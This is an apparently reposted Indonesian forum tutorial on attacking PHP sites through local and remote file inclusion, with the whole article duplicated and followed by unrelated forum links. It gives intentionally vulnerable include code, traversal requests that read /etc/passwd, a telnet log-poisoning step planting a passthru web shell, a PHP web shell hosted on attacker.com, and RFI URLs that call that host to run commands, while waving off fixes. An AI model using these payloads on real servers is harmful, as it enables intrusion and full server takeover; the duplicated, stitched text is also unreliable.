Sebenarnya saya juga tidak terlalu paham tentang teknik hacking ini.
tapi untuk kemajuan bersama saya posting juga.
–[1]– Introduction
Website merupakan media komunikasi yang saat ini sudah sangat banyak
digunakan baik oleh personal, organisasi, maupun perusahaan. Penggunaan
website sebagai media komunikasi tidak terlepas dari menjamurnya
internet. Penggunaan media website cukup memberikan banyak keuntungan
bagi organisasi maupun perusahaan, tetapi bisa menjadi ancaman
tersendiri bagi asset organisasi atau perusahaan.
Banyak sekali celah keamanan yang ditemukan pada aplikasi website
memungkinkan pihak tidak bertanggung jawab dalam mencuri asset
organisasi atau perusahaan. Beberapa celah keamanan website yang sangat
populer adalah SQL injection, File Inclussion, Cross Site Scripting
(XSS), Cross Site Request Forgery(CSRF), dan baru baru ini ditemukan
celah client side yang cukup berbahaya yaitu Clickjacking.
–[2]– Review File Inclussion
File inclussion merupakan serangan dengan memanfaatkan cacat programming
pada aplikasi website untuk mengeksploitasi server tempat di hostingnya
website tersebut. Proses exploitasi bisa berupa pencurian file file
kritikal pada sebuah server seperti file password atau juga eksekusi
perintah sistem operasi untuk melakukan take over server secara penuh.
Celah file inclussion dikategorikan dalam dua jenis, jenis yang pertama
adalah “local file inclussion” sedangkan yang kedua adalah “remote file
inclussion”.
Local file inclussion (LFI) menginputkan file yang ada di dalam server
untuk dieksekusi dan ditampilkan ke website, misalnya dalam sistem
linux/*NIX seorang attacker bisa menginputkan file password
(/etc/passwd), file group (/etc/group), file konfigurasi apache
(httpd.conf), dan file log apache (error_logs dan access_logs). Proses
pembacaan file file ini oleh pihak tidak bertanggung jawab sangat
berguna dalam menambah informasi bagi mereka dalam tujuannya menguasai
server.
Remote file inclussion (RFI) memungkinkan untuk menginputkan file yang
ada pada web server lain di internet. File yang diinputkan biasanya
digunakan untuk mengeksekusi perintah perintah sistem operasi atau biasa
dikenal dengan web shell. Dengan menggunakan web shell, sangat
memungkinkan bagi attacker untuk mendapatkan shell interaktif server web
yang vulnerable. Selanjutnya attacker bisa mengeksploitasi server lebih
jauh untuk mendapatkan akses tertinggi dan menguasai server secara penuh.
Sebagai proof of concept, saya mengujikan kedua jenis file inclussion
ini pada mesin linux Ubuntu 8.10 dengan web server apache dan bahasa
pemrograman PHP.
–[3]– Server Configuration
allow_url_include = On
magic_quotes_gpc = Off
safe_mode = Off
open_basedir =
disable_functions =
Tidak ada security module pada apache.
Really hard to find this kind of server now rite? It seems PHP is now
well hardened by its default install, tapi tenang masih banyak kok
yang bisa dieksploitasi.
–[4]– Local File Inclussion
Untuk mendalami bagaimana Local File Inclussion terjadi, mari kita buat
sebuah code PHP sederhana untuk menjelaskan bagaimana vulnerability ini
bisa diexploitasi.
<?php
/* Small c0de to proof how local file inclussion */
define(‘DOCROOT’, ‘/var/www/html/modules’);
if(isset($_GET['module'])){
if(!empty($_GET['module'])){
/*vulnerable inclussion*/
$filename = DOCROOT . “/” . $_GET['module'] . “.php”;
include($filename);
}else{
header(“Location:http://example.com”);
}
}
/*End of file*/
?>
Saya menyimpan file tersebut dengan nama index.php pada direktori
/var/www/html/, kemudia saya membuat direktori modules/ pada
direktori tersebut. Saya mengisi direktori modules/ dengan dua buah
file, yaitu news.php dan paper.php masing masing sebagai berikut:
<HTML>
<HEAD><TITLE>News</TITLE></HEAD>
<BODY>
<?php
/* Ini file news.php */
if(eregi(‘news.php’,$_SERVER['PHP_SELF'])){
die(‘<PRE>cant access directly</PRE>’);
}
echo “<PRE>Halaman ini berisi berita</PRE>\n”;
?>
</BODY>
</HTML>
<HTML>
<HEAD><TITLE>Paper</TITLE></HEAD>
<BODY>
<?php
/* Ini file paper.php */
if(eregi(‘paper.php’,$_SERVER['PHP_SELF'])){
die(‘<PRE>cant access directly</PRE>’);
}
echo “<PRE>Halaman ini berisi paper riset</PRE>\n”;
?>
</BODY>
</HTML>
Setelah semua file disiapkan, saya mencoba untuk merequest file
index.php sebagai berikut :
(a). http://example.com/index.php?module=news
maka pada browser muncul “Halaman ini berisi berita”
(b). http://example.com/index.php?module=paper
maka pada browser muncul “Halaman ini berisi paper riset”
Siapapun bisa mengubah ubah parameter “?module=” termasuk orang yang
tidak bertanggung jawab. Celakanya variable $_GET['module'] pada code
index.php tidak difilter dengan baik sebelum di-include-kan sehingga
bisa dieksploitasi untuk menampilkan file file penting pada server,
misalnya /etc/passwd. Misalnya saya seorang attacker yang ingin
mendapatkan isi file /etc/passwd dan /etc/group, maka saya melakukan
request sebagai berikut :
(a). http://example.com/index.php?module=../../../../../../../etc/passwd%00
Tentu saja pada browser muncul isi file /etc/passwd
(b). http://example.com/index.php?module=../../../../../../../etc/group%00
Tentu saja pada browser muncul isi file /etc/group
Exploitasi bisa dilakukan oleh attacker untuk mendapatkan file lain yang
dia inginkan. Walaupun demikian, cacat programming di atas hanya bisa
untuk meng-include-kan semabrang file pada server itu sendiri. Hal ini
dikarenakan adanya definisi direktori ROOTDOC yang hanya bisa di-bypass
secara transversal. Oleh karena itu celah LFI juga sering disebut dengan
“Path Transversal Vulnerability”.
Atas saran seorang teman, seorang security analyst di salah satu
perusahaan keamanan di indonesia yang tidak bisa saya sebutkan namanya
(for some reason), saya diminta untuk menambahkan bagaimana LFI bisa
dimanfaatkan untuk melakukan Remote Command Execution (RCE). Saya
teringat kasus website PHPBB yang disusupi beberapa waktu lalu, attacker
memanfaatkan log apache untuk mengeksekusi unix command. Tetapi saat
saya melihat default log apache saya hanya readable oleh user root.
Teman saya kemudian memberikan saran menggunakan /proc/self/environ, but
somehow that file is not readable oleh user apache *why?*.
Saya asumsikan attacker beruntung menemukan web server yang access_log nya
public readable. Untuk memanfaatkan log file apache sebagai web shell,
lakukan request HTTP melalui telnet atau dengan socket programming.
Request melalui browser tidak bisa digunakan untuk membuat web shell
pada access_logs, karena request tersebut sudah URL encoded. Untuk
menginjeksikan web shell pada log apache, gunakan telnet sebagai
berikut:
$ telnet example.com 80
Trying example.com…
Connected to example.com.
Escape character is ‘^]’.
GET /<?php passthru($_GET['cmd']) ?> HTTP/1.1
Host:example.com
Tekan ENTER dua kali, hasil dari request ini pada access_logs apache
adalah,
114.xxx.xxx.xxx- – [21/May/2009:18:35:54 -0700] “GET /<?php passthru($_GET['cmd']) ?> HTTP/1.1″ 404 316 “-” “-”
Selanjutnya yang perlu dilakukan attacker adalah menemukan path log
apache tersebut untuk di-include-kan pada file yang vulnerable LFI.
Bagaimana caranya?? Cara yang paling sederhana adalah dengan
menbak-nebak, file log apache biasanya terletak pada
/var/log/httpd/access_log
/var/log/apache/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
dan seterusnya, use your experience…
Terakhir, attacker tinggal memanfaatkan access_logs tersebut untuk
menginjeksikan perintah sistem operasi. Pada percobaan ini access_log
saya ada pada /usr/local/apache/logs/access_log, sehingga untuk mengeksekusi
command ‘id’ bisa dilakukan dengan merequest malicious URI berikut:
http://example.com/index.php?module=../../../../../../../usr/local/apache/logs/access_log%00&cmd=id
Attacker selanjutnya bisa mengeksekusi perintah yang lain sesuai
keinginannya. Tulisan pada [ref.i] bisa menjadi acuan yang lebih baik
untuk memahami pemanfaatan LFI dalam remote command execution.
–[5]– Remote File Inclussion
Sebuah code yang memiliki cacat RFI biasanya juga bisa dieksploitasi
dengan LFI juga tetapi tidak sebaliknya. Contoh potongan code untuk
menjelaskan LFI di atas tidak vulnerable dengan RFI. Untuk melihat
bagaimana cacat programming dan mengakibatkan RFI, saya menggunakan
potongan code berikut:
<?php
/*
Small c0de to proof how remote file inclussion
*/
if(isset($_GET['page'])){
if(!empty($_GET['page'])){
/*vulnerable inclussion*/
$filename = $_GET['page'] . “.php”;
include($filename);
}else{
header(“Location:http://example.com”);
}
}
/*End of file*/
Saya menyimpan file tersebut dengan nama view.php pada direktori
/var/www/html/, kemudian saya membuat dengan dua buah file pada
direktori yang sama, yaitu news.php dan paper.php yang isinya sama
seperti pada contoh sebelumnya.
Setelah semua disiapkan, saya mencoba untuk merequest file view.php
sebagai berikut :
(a). http://example.com/view.php?page=modules/news
maka pada browser muncul “Halaman ini berisi berita”
(b). http://example.com/view.php?page=modules/paper
maka pada browser muncul “Halaman ini berisi paper riset”
Siapapun bisa mengubah ubah parameter “?module=” termasuk orang yang
tidak bertanggung jawab. Celakanya variable $_GET['module'] pada code
view.php tidak difilter dengan baik sebelum di-include-kan sehingga
bisa dieksploitasi untuk meng-include-kan sembarang file baik pada
server itu sendiri maupun pada server lain di internet.
Untuk menguji bagaimana RFI diinjeksikan melalui parameter URI, saya
menyiapkan sebuah file lagi pada http://attacker.com/injek.txt yang
isinya sebagai berikut:
<?php
/*Basic PHP web shell*/
if(isset($_GET['exec'])){
if(!empty($_GET['exec'])){
$cmd = $_GET['exec'];
if(function_exists(‘passthru’)){
passthru($cmd);
}
}
}
/*End of PHP web shell*/
?>
Sebelum uji coba dilanjutkan, pada default install php5 di ubuntu
intrepid, konfigurasi php.ini sudah di-hardening dengan tidak
mengizinkan URL include. Bagi yang ingin melanjutkan uji coba pada
artikel ini, silakan edit php.ini menjadi “allow_url_include = On”.
Selanjutnya saya merequest file view.php dengan parameter berikut:
(a). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=id
URI ini berguna untuk mengeksekusi perintah ‘id’ dan menampilkan
hasilnya di browser.
(b). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=ls -al
URI ini berguna untuk mengeksekusi perintah ‘ls -al’ dan
menampilkan hasilnya di browser.
Eksekusi perintah shell lain bisa dilakukan sesuai keinginan attacker.
Untuk keperluan eksploitasi celah RFI biasanya digunakan web shell yang
sudah dilengkapi beragam fasilitas seperti r57, r58, atau c99. Dengan
menggunakan beragam web shell tersebut sangatlah mudah untuk mendapatkan
shell interaktif dan kemudian melakukan priviledge escalation.
–[6]– Close Word
It’s done in exploiting, how to fix them? patch your brain first then
ask the google!
–[7]– Referensi
[ref.i] http://milw0rm.com/papers/260
[ref.ii] http://kandangjamur.net
gimana???? hahahahahha
tapi untuk kemajuan bersama saya posting juga.
–[1]– Introduction
Website merupakan media komunikasi yang saat ini sudah sangat banyak
digunakan baik oleh personal, organisasi, maupun perusahaan. Penggunaan
website sebagai media komunikasi tidak terlepas dari menjamurnya
internet. Penggunaan media website cukup memberikan banyak keuntungan
bagi organisasi maupun perusahaan, tetapi bisa menjadi ancaman
tersendiri bagi asset organisasi atau perusahaan.
Banyak sekali celah keamanan yang ditemukan pada aplikasi website
memungkinkan pihak tidak bertanggung jawab dalam mencuri asset
organisasi atau perusahaan. Beberapa celah keamanan website yang sangat
populer adalah SQL injection, File Inclussion, Cross Site Scripting
(XSS), Cross Site Request Forgery(CSRF), dan baru baru ini ditemukan
celah client side yang cukup berbahaya yaitu Clickjacking.
–[2]– Review File Inclussion
File inclussion merupakan serangan dengan memanfaatkan cacat programming
pada aplikasi website untuk mengeksploitasi server tempat di hostingnya
website tersebut. Proses exploitasi bisa berupa pencurian file file
kritikal pada sebuah server seperti file password atau juga eksekusi
perintah sistem operasi untuk melakukan take over server secara penuh.
Celah file inclussion dikategorikan dalam dua jenis, jenis yang pertama
adalah “local file inclussion” sedangkan yang kedua adalah “remote file
inclussion”.
Local file inclussion (LFI) menginputkan file yang ada di dalam server
untuk dieksekusi dan ditampilkan ke website, misalnya dalam sistem
linux/*NIX seorang attacker bisa menginputkan file password
(/etc/passwd), file group (/etc/group), file konfigurasi apache
(httpd.conf), dan file log apache (error_logs dan access_logs). Proses
pembacaan file file ini oleh pihak tidak bertanggung jawab sangat
berguna dalam menambah informasi bagi mereka dalam tujuannya menguasai
server.
Remote file inclussion (RFI) memungkinkan untuk menginputkan file yang
ada pada web server lain di internet. File yang diinputkan biasanya
digunakan untuk mengeksekusi perintah perintah sistem operasi atau biasa
dikenal dengan web shell. Dengan menggunakan web shell, sangat
memungkinkan bagi attacker untuk mendapatkan shell interaktif server web
yang vulnerable. Selanjutnya attacker bisa mengeksploitasi server lebih
jauh untuk mendapatkan akses tertinggi dan menguasai server secara penuh.
Sebagai proof of concept, saya mengujikan kedua jenis file inclussion
ini pada mesin linux Ubuntu 8.10 dengan web server apache dan bahasa
pemrograman PHP.
–[3]– Server Configuration
allow_url_include = On
magic_quotes_gpc = Off
safe_mode = Off
open_basedir =
disable_functions =
Tidak ada security module pada apache.
Really hard to find this kind of server now rite? It seems PHP is now
well hardened by its default install, tapi tenang masih banyak kok
yang bisa dieksploitasi.
–[4]– Local File Inclussion
Untuk mendalami bagaimana Local File Inclussion terjadi, mari kita buat
sebuah code PHP sederhana untuk menjelaskan bagaimana vulnerability ini
bisa diexploitasi.
<?php
/* Small c0de to proof how local file inclussion */
define(‘DOCROOT’, ‘/var/www/html/modules’);
if(isset($_GET['module'])){
if(!empty($_GET['module'])){
/*vulnerable inclussion*/
$filename = DOCROOT . “/” . $_GET['module'] . “.php”;
include($filename);
}else{
header(“Location:http://example.com”);
}
}
/*End of file*/
?>
Saya menyimpan file tersebut dengan nama index.php pada direktori
/var/www/html/, kemudia saya membuat direktori modules/ pada
direktori tersebut. Saya mengisi direktori modules/ dengan dua buah
file, yaitu news.php dan paper.php masing masing sebagai berikut:
<HTML>
<HEAD><TITLE>News</TITLE></HEAD>
<BODY>
<?php
/* Ini file news.php */
if(eregi(‘news.php’,$_SERVER['PHP_SELF'])){
die(‘<PRE>cant access directly</PRE>’);
}
echo “<PRE>Halaman ini berisi berita</PRE>\n”;
?>
</BODY>
</HTML>
<HTML>
<HEAD><TITLE>Paper</TITLE></HEAD>
<BODY>
<?php
/* Ini file paper.php */
if(eregi(‘paper.php’,$_SERVER['PHP_SELF'])){
die(‘<PRE>cant access directly</PRE>’);
}
echo “<PRE>Halaman ini berisi paper riset</PRE>\n”;
?>
</BODY>
</HTML>
Setelah semua file disiapkan, saya mencoba untuk merequest file
index.php sebagai berikut :
(a). http://example.com/index.php?module=news
maka pada browser muncul “Halaman ini berisi berita”
(b). http://example.com/index.php?module=paper
maka pada browser muncul “Halaman ini berisi paper riset”
Siapapun bisa mengubah ubah parameter “?module=” termasuk orang yang
tidak bertanggung jawab. Celakanya variable $_GET['module'] pada code
index.php tidak difilter dengan baik sebelum di-include-kan sehingga
bisa dieksploitasi untuk menampilkan file file penting pada server,
misalnya /etc/passwd. Misalnya saya seorang attacker yang ingin
mendapatkan isi file /etc/passwd dan /etc/group, maka saya melakukan
request sebagai berikut :
(a). http://example.com/index.php?module=../../../../../../../etc/passwd%00
Tentu saja pada browser muncul isi file /etc/passwd
(b). http://example.com/index.php?module=../../../../../../../etc/group%00
Tentu saja pada browser muncul isi file /etc/group
Exploitasi bisa dilakukan oleh attacker untuk mendapatkan file lain yang
dia inginkan. Walaupun demikian, cacat programming di atas hanya bisa
untuk meng-include-kan semabrang file pada server itu sendiri. Hal ini
dikarenakan adanya definisi direktori ROOTDOC yang hanya bisa di-bypass
secara transversal. Oleh karena itu celah LFI juga sering disebut dengan
“Path Transversal Vulnerability”.
Atas saran seorang teman, seorang security analyst di salah satu
perusahaan keamanan di indonesia yang tidak bisa saya sebutkan namanya
(for some reason), saya diminta untuk menambahkan bagaimana LFI bisa
dimanfaatkan untuk melakukan Remote Command Execution (RCE). Saya
teringat kasus website PHPBB yang disusupi beberapa waktu lalu, attacker
memanfaatkan log apache untuk mengeksekusi unix command. Tetapi saat
saya melihat default log apache saya hanya readable oleh user root.
Teman saya kemudian memberikan saran menggunakan /proc/self/environ, but
somehow that file is not readable oleh user apache *why?*.
Saya asumsikan attacker beruntung menemukan web server yang access_log nya
public readable. Untuk memanfaatkan log file apache sebagai web shell,
lakukan request HTTP melalui telnet atau dengan socket programming.
Request melalui browser tidak bisa digunakan untuk membuat web shell
pada access_logs, karena request tersebut sudah URL encoded. Untuk
menginjeksikan web shell pada log apache, gunakan telnet sebagai
berikut:
$ telnet example.com 80
Trying example.com…
Connected to example.com.
Escape character is ‘^]’.
GET /<?php passthru($_GET['cmd']) ?> HTTP/1.1
Host:example.com
Tekan ENTER dua kali, hasil dari request ini pada access_logs apache
adalah,
114.xxx.xxx.xxx- – [21/May/2009:18:35:54 -0700] “GET /<?php passthru($_GET['cmd']) ?> HTTP/1.1″ 404 316 “-” “-”
Selanjutnya yang perlu dilakukan attacker adalah menemukan path log
apache tersebut untuk di-include-kan pada file yang vulnerable LFI.
Bagaimana caranya?? Cara yang paling sederhana adalah dengan
menbak-nebak, file log apache biasanya terletak pada
/var/log/httpd/access_log
/var/log/apache/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
dan seterusnya, use your experience…
Terakhir, attacker tinggal memanfaatkan access_logs tersebut untuk
menginjeksikan perintah sistem operasi. Pada percobaan ini access_log
saya ada pada /usr/local/apache/logs/access_log, sehingga untuk mengeksekusi
command ‘id’ bisa dilakukan dengan merequest malicious URI berikut:
http://example.com/index.php?module=../../../../../../../usr/local/apache/logs/access_log%00&cmd=id
Attacker selanjutnya bisa mengeksekusi perintah yang lain sesuai
keinginannya. Tulisan pada [ref.i] bisa menjadi acuan yang lebih baik
untuk memahami pemanfaatan LFI dalam remote command execution.
–[5]– Remote File Inclussion
Sebuah code yang memiliki cacat RFI biasanya juga bisa dieksploitasi
dengan LFI juga tetapi tidak sebaliknya. Contoh potongan code untuk
menjelaskan LFI di atas tidak vulnerable dengan RFI. Untuk melihat
bagaimana cacat programming dan mengakibatkan RFI, saya menggunakan
potongan code berikut:
<?php
/*
Small c0de to proof how remote file inclussion
*/
if(isset($_GET['page'])){
if(!empty($_GET['page'])){
/*vulnerable inclussion*/
$filename = $_GET['page'] . “.php”;
include($filename);
}else{
header(“Location:http://example.com”);
}
}
/*End of file*/
Saya menyimpan file tersebut dengan nama view.php pada direktori
/var/www/html/, kemudian saya membuat dengan dua buah file pada
direktori yang sama, yaitu news.php dan paper.php yang isinya sama
seperti pada contoh sebelumnya.
Setelah semua disiapkan, saya mencoba untuk merequest file view.php
sebagai berikut :
(a). http://example.com/view.php?page=modules/news
maka pada browser muncul “Halaman ini berisi berita”
(b). http://example.com/view.php?page=modules/paper
maka pada browser muncul “Halaman ini berisi paper riset”
Siapapun bisa mengubah ubah parameter “?module=” termasuk orang yang
tidak bertanggung jawab. Celakanya variable $_GET['module'] pada code
view.php tidak difilter dengan baik sebelum di-include-kan sehingga
bisa dieksploitasi untuk meng-include-kan sembarang file baik pada
server itu sendiri maupun pada server lain di internet.
Untuk menguji bagaimana RFI diinjeksikan melalui parameter URI, saya
menyiapkan sebuah file lagi pada http://attacker.com/injek.txt yang
isinya sebagai berikut:
<?php
/*Basic PHP web shell*/
if(isset($_GET['exec'])){
if(!empty($_GET['exec'])){
$cmd = $_GET['exec'];
if(function_exists(‘passthru’)){
passthru($cmd);
}
}
}
/*End of PHP web shell*/
?>
Sebelum uji coba dilanjutkan, pada default install php5 di ubuntu
intrepid, konfigurasi php.ini sudah di-hardening dengan tidak
mengizinkan URL include. Bagi yang ingin melanjutkan uji coba pada
artikel ini, silakan edit php.ini menjadi “allow_url_include = On”.
Selanjutnya saya merequest file view.php dengan parameter berikut:
(a). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=id
URI ini berguna untuk mengeksekusi perintah ‘id’ dan menampilkan
hasilnya di browser.
(b). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=ls -al
URI ini berguna untuk mengeksekusi perintah ‘ls -al’ dan
menampilkan hasilnya di browser.
Eksekusi perintah shell lain bisa dilakukan sesuai keinginan attacker.
Untuk keperluan eksploitasi celah RFI biasanya digunakan web shell yang
sudah dilengkapi beragam fasilitas seperti r57, r58, atau c99. Dengan
menggunakan beragam web shell tersebut sangatlah mudah untuk mendapatkan
shell interaktif dan kemudian melakukan priviledge escalation.
–[6]– Close Word
It’s done in exploiting, how to fix them? patch your brain first then
ask the google!
–[7]– Referensi
[ref.i] http://milw0rm.com/papers/260
[ref.ii] http://kandangjamur.net
gimana???? hahahahahha
» asik bangeet .
» engga tau apa yaa
» Download Harry Potter 1 & 2
» 10 Fakta UNik Bill Gate
» 10 KONSPIRASI BESAR DI SELURUH DUNIA
» Cara Naikin ato Nurunin Reputasi
» Linkin Park
» 250 Fakta Unik dan Menarik Dunia !